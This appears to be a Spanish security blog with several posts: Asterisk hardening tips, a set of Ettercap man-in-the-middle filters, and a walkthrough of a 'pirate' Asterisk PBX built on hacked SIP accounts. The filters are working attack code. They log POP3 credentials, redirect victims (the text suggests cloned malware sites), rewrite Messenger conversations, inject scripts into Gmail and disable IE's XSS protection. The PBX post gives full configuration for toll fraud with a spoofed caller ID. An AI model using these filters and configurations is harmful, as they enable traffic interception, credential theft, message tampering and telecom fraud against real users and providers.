Los ejemplos los he intentado poner lo más sencillos posibles para una mejor comprensión, pero en realidad podemos (y debemos) discriminar los posibles destinos a los que permitimos llamar, y no poner .X_


Otra buena opción es poner en sip.conf la variable allowguest=no (que por defecto viene a yes, no se porqué) y que impide realizar llamadas a usuarios que no están dados de alta en el sistema.


Para comprobar si tu Asterisk es seguro puedes acceder aquí.


Y como lectura obligada:

http://www.sinologic.net/2007-05/una-configuracion-incorrecta-puede-costarte-mucho-dinero/

http://www.sinologic.net/blog/2009-02/la-voip-mal-configurada-llama-a-cuba/

http://www.sinologic.net/blog/2010-04/test-sip-sinologic/



Si quieres ver las posibles consecuencias de este tipo de ataques mira esto:

Warning! : Un Asterisk nos ha costado 15.000 Euros en un día


Jugando con los filtros para Ettercap

Jueves, enero 5th, 2012

Aprovechando que estoy en casa griposo y además, preparando el contenido para los talleres de ConectaCon Jaen, donde espero veros a todos :) … voy a poner algunos filtros para Ettercap que he ido programando (only for fun) o que he encontrado por la red. La verdad es que con 4 comandos y un poco de imaginación, se pueden hacer muchas cosas }:->

No voy a contar qué es Ettercap ni cómo se usan los filtros dado que hay muchísima información en Internet. Así que vamos directamente a ver algunos ejemplos:



Ejemplo 1: Baneando el acceso a Tuenti.com

# By Pepelux

if (ip.src == '95.131.168.181' || ip.dst == '95.131.168.181') {

     drop();

     kill();

     msg("banned IP Tuenti.com");

}

Este pequeño script lo que hace es, que si la dirección origen o destino es la indicada, borra el paquete y mata la conexión.



Ejemplo 2: Bloqueando paquetes UDP

# By Pepelux

if (ip.proto == UDP) {

     drop();

     kill();

     msg("banned UDP Packet");

}

Este otro script bloquea todo el tráfico UDP.



Ejemplo 3: Cambiando las imágenes que el usuario carga en su navegador al visitar una web

############################################################################

#                                                                          #

#  Jolly Pwned -- ig.filter -- filter source file                          #

#                                                                          #

#  By Irongeek. based on code from ALoR & NaGA                             #

#  Along with some help from Kev and jon.dmml                              #

#  http://ettercap.sourceforge.net/forum/viewtopic.php?t=2833              #

#                                                                          #

#  This program is free software; you can redistribute it and/or modify    #

#  it under the terms of the GNU General Public License as published by    #

#  the Free Software Foundation; either version 2 of the License, or       #

#  (at your option) any later version.                                     #

#                                                                          #

############################################################################

if (ip.proto == TCP && tcp.dst == 80) {

     if (search(DATA.data, "Accept-Encoding")) {

          replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string

          msg("zapped Accept-Encoding!\n");

     }
}

if (ip.proto == TCP && tcp.src == 80) {

     replace("img src=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");

     replace("IMG SRC=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");

     msg("Filter Ran.\n");

}

Aquí, cada vez que se detecte una conexión al puerto 80 (HTTP), cargará las imágenes de http://www.irongeek.com/images/jollypwn.png en lugar de las originales.

Al igual que cambiamos las imágenes, podemos modificar textos, por ejemplo, podemos hacer un replace de ‘Madrid’ por ‘Barça ‘  :)



Ejemplo 4: Guardando datos en disco

# By Pepelux

if (ip.proto == TCP) {
	if (tcp.src == 110 || tcp.dst == 110) {
		if (search(DATA.data, "")) {
			log(DECODED.data, "/tmp/xxx.log");
		}
	}
}

Se almacenará en el fichero indicado todo el tráfico generado por el puerto 110 (POP3), almacenando tanto el contenido de los mails, como usuarios y contraseñas de acceso, etc.



Ejemplo 5: Inyectando paquetes

# By Pepelux

if (ip.proto == TCP && tcp.src == 80) {
   if (regex(DATA.data, "<title>.*Bing.*</title>")) {
      drop();
      Inject("/tmp/redirect.txt");
      msg("Redireccion");
   }
}


Donde redirect.txt sería algo así:

<html>
   <head>
      <meta http-equiv="Refresh" content="0; URL=http://www.google.com">
   </head>
   <body></body>
</html>

En este caso, cada vez que el usuario intente cargar el buscador Bing en su navegador, lo que hará será ir siempre a Google.

Esto parece una broma, pero estando dentro de la propia red, podemos redirigir al usuario a una web clonada con algún tipo de malware, o combinarlo con Metasploit.



Ejemplo 6: Alterando datos del Messenger

# By Pepelux

if (ip.proto == TCP) {
	if (tcp.src == 1863 || tcp.dst == 1863) {
		if (search(DATA.data, "")) {
			replace("estupendo", "horroroso");
			replace("hasta pronto", "hasta nunca ");
		}
	}
}

De forma similar a las imágenes de la web, en este caso lo que hacemos es modificar las conversaciones de los usuarios, de manera que cuando un usuario escriba la palabra ‘estupendo’ el otro leerá ‘horroroso’.

A parte de esto, en las cabeceras de las conversaciones siempre aparece la dirección de mail del usuario al que escribimos, por lo que, en caso de conocer los usuarios que tiene la víctima en su Messenger, podemos intercambiar las direcciones  – replace(“direccion1@hotmail.com”, “direccion2@hotmail.com”) – , de manera que al escribirle un usuario le llegaría el mensaje como si fuera de otro … vamos, para echarse unas risas :)



Ejemplo 7: Puteando al personal

# By Pepelux

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "gzip")) {
      replace("gzip", "    ");
      msg("whited out gzip\n");
   }
   if (search(DATA.data, "deflate")) {
      replace("deflate", "       ");
      msg("whited out deflate\n");
   }
   if (search(DATA.data, "gzip,deflate")) {
      replace("gzip,deflate", "            ");
      msg("whited out gzip and deflate\n");
   }
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
      msg("zapped Accept-Encoding!\n");
   }
   if (search(DECODED.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
      msg("zapped Accept_Decoded-Encoding!\n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
	if (regex(DATA.data, "<title>Gmail</title>"))
	{
           replace("</title>", "</title><script>alert('Gracias por usar nuestros servicios de Gmail')</script>
                                               <script>alert('Nos congratula que nos haya escogido')</script>
                                               <script>alert('De verdad, que le estamos muy agradecidos')</script>
                                               <script>alert('Esta bien, ya puede acceder a su correo')</script>"); 	
       } 
} 

En este caso, lanzamos algunos Alert cada vez que el usuario abra la página de GMail.



Ejemplo 8: Eliminando el filtro Anti-XSS de Internet Explorer

# By Pepelux

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "gzip")) {
      replace("gzip", "    "); 
   }
   if (search(DATA.data, "deflate")) {
      replace("deflate", "       "); 
   }
   if (search(DATA.data, "gzip,deflate")) {
      replace("gzip,deflate", "            "); 
   }
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!"); 
   }
   if (search(DATA.data, "X-XSS-Protection: 1")) {
      replace("X-XSS-Protection: 1", "X-XSS-Protection: 0"); 
      msg("XSS Protection unactive\n");
   }
}



———-

Como ya comenté, la programación es muy sencilla y entra más en juego la imaginación de cada uno. Saludos

Montando una centralita pirata con Asterisk

Jueves, septiembre 15th, 2011

Tras los robos de cuentas de VoIP hay verdaderas mafias. No sólo se trata de de alguien que hackea una cuenta y hace 4 llamadas gratis a los amigos, sino que hay, desde grupos organizados hasta locutorios que venden minutos y no pagan por ello.

Lo que voy a contar, evidentemente, no es para que hackees ninguna cuenta sino para que, en caso de ser administrador de Asterisk, comprendas que las consecuencias de tener una cuenta comprometida pueden ser muy graves.

Vamos a ver un sencillo ejemplo de cómo configurar un Asterisk al que podemos ir añadiendo cuentas de forma indefinida.

En primer lugar, nos encontramos con un servidor Asterisk montado con un número determinado de extensiones, y al que iremos añadiendo conexiones SIP-trunk con cuentas externas, y que nos permitirán realizar las llamadas al exterior.

Los servidores SIP a los que conectamos los SIP-trunk son máquinas comprometidas de las que se ha obtenido alguna cuenta.

La configuración básica para el servidor podría ser algo así (pongo sólo 2 extensiones para no alargar mucho el post):

Fichero sip.conf:

[general]
defaultexpire=1800
maxexpire=3600
srvlookup=yes
language=es
nat=yes
allow=all
dtmfmode=rfc2833
canreinvite=no

[100]
type=friend
context=local
host=dynamic
secret=mipass
callerid=666666666
insecure=port,invite
call-limit=2

[101]
type=friend
context=local
host=dynamic
secret=mipass
callerid=666666666
insecure=port,invite
call-limit=2

Fichero extensions.conf:

[local]
exten => s,1,Hangup()

exten => 100,1,Answer()
exten => 100,n,Dial(SIP/100)
exten => 100,n,Hangup()

exten => 101,1,Answer()
exten => 101,n,Dial(SIP/101)
exten => 101,n,Hangup()

Con esto tendríamos montado un Asterisk básico con un par de extensiones que, de momento sólo podrían hablar entre ellos.

Ahora vamos a modificar la configuración y crear varios SIP-trunk con cuentas comprometidas:

Fichero sip.conf:

[general]
defaultexpire=1800
maxexpire=3600
srvlookup=yes
language=es
nat=yes
allow=all
dtmfmode=rfc2833
canreinvite=no

localnet=192.168.1.0/255.255.255.0

register => uservulnerable1:passvulnerable1@hostvulnerable1:5060/uservulnerable1
register => uservulnerable2:passvulnerable2@hostvulnerable1:5060/uservulnerable2
register => uservulnerable3:passvulnerable3@hostvulnerable2:5060/uservulnerable3

[proveedor1]
type=peer
context=remoto
host=hostvulnerable1
fromdomain=hostvulnerable1
defaultuser=uservulnerable1
secret=passvulnerable1
insecure=port,invite
call-limit=1000
progressinband=never
nat=yes
canreinvite=no

[proveedor2]
type=peer
context=remoto
host=hostvulnerable2
fromdomain=hostvulnerable2
defaultuser=uservulnerable2
secret=passvulnerable2
insecure=port,invite
call-limit=1000
progressinband=never
nat=yes
canreinvite=no

[proveedor3]
type=peer
context=remoto
host=hostvulnerable3
fromdomain=hostvulnerable3
defaultuser=uservulnerable3
secret=passvulnerable3
insecure=port,invite
call-limit=1000
progressinband=never
nat=yes
canreinvite=no

[100]
type=friend
context=local
host=dynamic
secret=mipass
callerid=666666666
insecure=port,invite
call-limit=2

[101]
type=friend
context=local
host=dynamic
secret=mipass
callerid=666666666
insecure=port,invite
call-limit=2

Fichero extensions.conf:

[remoto]
exten => s,1,Hangup()
exten => _X.,1,Hangup()

[local]
exten => s,1,Hangup()

exten => 100,1,Answer()
exten => 100,n,Dial(SIP/100)
exten => 100,n,Hangup()

exten => 101,1,Answer()
exten => 101,n,Dial(SIP/101)
exten => 101,n,Hangup()

exten => _X.,1,Set(CALLERID(num)=666666666)
exten => _X.,2,Dial(SIP/proveedor1/${EXTEN}:1,60)
exten => _X.,3,GotoIf($[${DIALSTATUS} = ANSWERED]?100)
exten => _X.,4,Dial(SIP/proveedor2/${EXTEN}:1,60)
exten => _X.,5,GotoIf($[${DIALSTATUS} = ANSWERED]?100)
exten => _X.,6,Dial(SIP/proveedor3/${EXTEN}:1,60)
exten => _X.,7,GotoIf($[${DIALSTATUS} = ANSWERED]?100)
exten => _X.,100,Hangup()

Lo que hemos hecho es, en sip.conf, en la configuración general, hemos añadido:

localnet=192.168.1.0/255.255.255.0 # indica nuestra red local (sólo si nuestro Asterisk conecta desde una red local y necesita el uso de NAT para salir)

register => uservulnerable1:passvulnerable1@hostvulnerable1:5060/uservulnerable1 # registro de un primer usuario en el host vulnerable 1
register => uservulnerable2:passvulnerable2@hostvulnerable1:5060/uservulnerable2 # registro de un segundo usuario en el host vulnerable 1
register => uservulnerable3:passvulnerable3@hostvulnerable2:5060/uservulnerable3 # registro de un primer usuario en el host vulnerable 2

Con esto tenemos creados 3 SIP-trunk con diferentes cuentas. Por otro lado:

[proveedorX]
type=peer
context=remoto
host=hostvulnerableX
fromdomain=hostvulnerableX
defaultuser=uservulnerableX
secret=passvulnerableX
insecure=port,invite
call-limit=1000
progressinband=never
nat=yes
canreinvite=no

Aquí definimos las 3 cuentas (como proveedor1, proveedor2 y proveedor3), con sus usuarios y contraseñas correspondientes, e indicando que el contexto que debe usar en extensions.conf se llama remoto. Además le hemos dejado la posibilidad de realizar 1000 llamadas simultáneas (nunca sabemos cuál es el tope que tiene el usuario).

Por otro lado, en extensions.conf:

[remoto]
exten => s,1,Hangup()
exten => _X.,1,Hangup()

Si nos llama alguien de fuera, directamente colgamos sin atender la llamada.

Y dentro del contexto local hemos añadido:

exten => _X.,1,Set(CALLERID(num)=666666666)
exten => _X.,2,Dial(SIP/proveedor1/${EXTEN}:1,60)
exten => _X.,3,GotoIf($[${DIALSTATUS} = ANSWERED]?100)
exten => _X.,4,Dial(SIP/proveedor2/${EXTEN}:1,60)
exten => _X.,5,GotoIf($[${DIALSTATUS} = ANSWERED]?100)
exten => _X.,6,Dial(SIP/proveedor3/${EXTEN}:1,60)
exten => _X.,7,GotoIf($[${DIALSTATUS} = ANSWERED]?100)
exten => _X.,100,Hangup()

Esto es para sacar las llamadas al exterior y, básicamente lo que ha es intentar salir con el proveedor1, si no lo consigue, prueba con el 2, y así sucesivamente. Para las llamadas al exterior usará como identificador de llamada el número 666666666.

Con esta configuración básica sobra con ir añadiendo cuentas y contextos con cada usuario hackeado que se obtenga. Además según la configuración que tenga cada usuario comprometido en call-limit, en el sip.conf de su Asterisk, podremos realizar más o menos llamadas simultáneas usando esa cuenta. Es decir, si un usuario tiene como call-limit 10, podremos hacer 10 llamadas a la vez usando ese mismo usuario.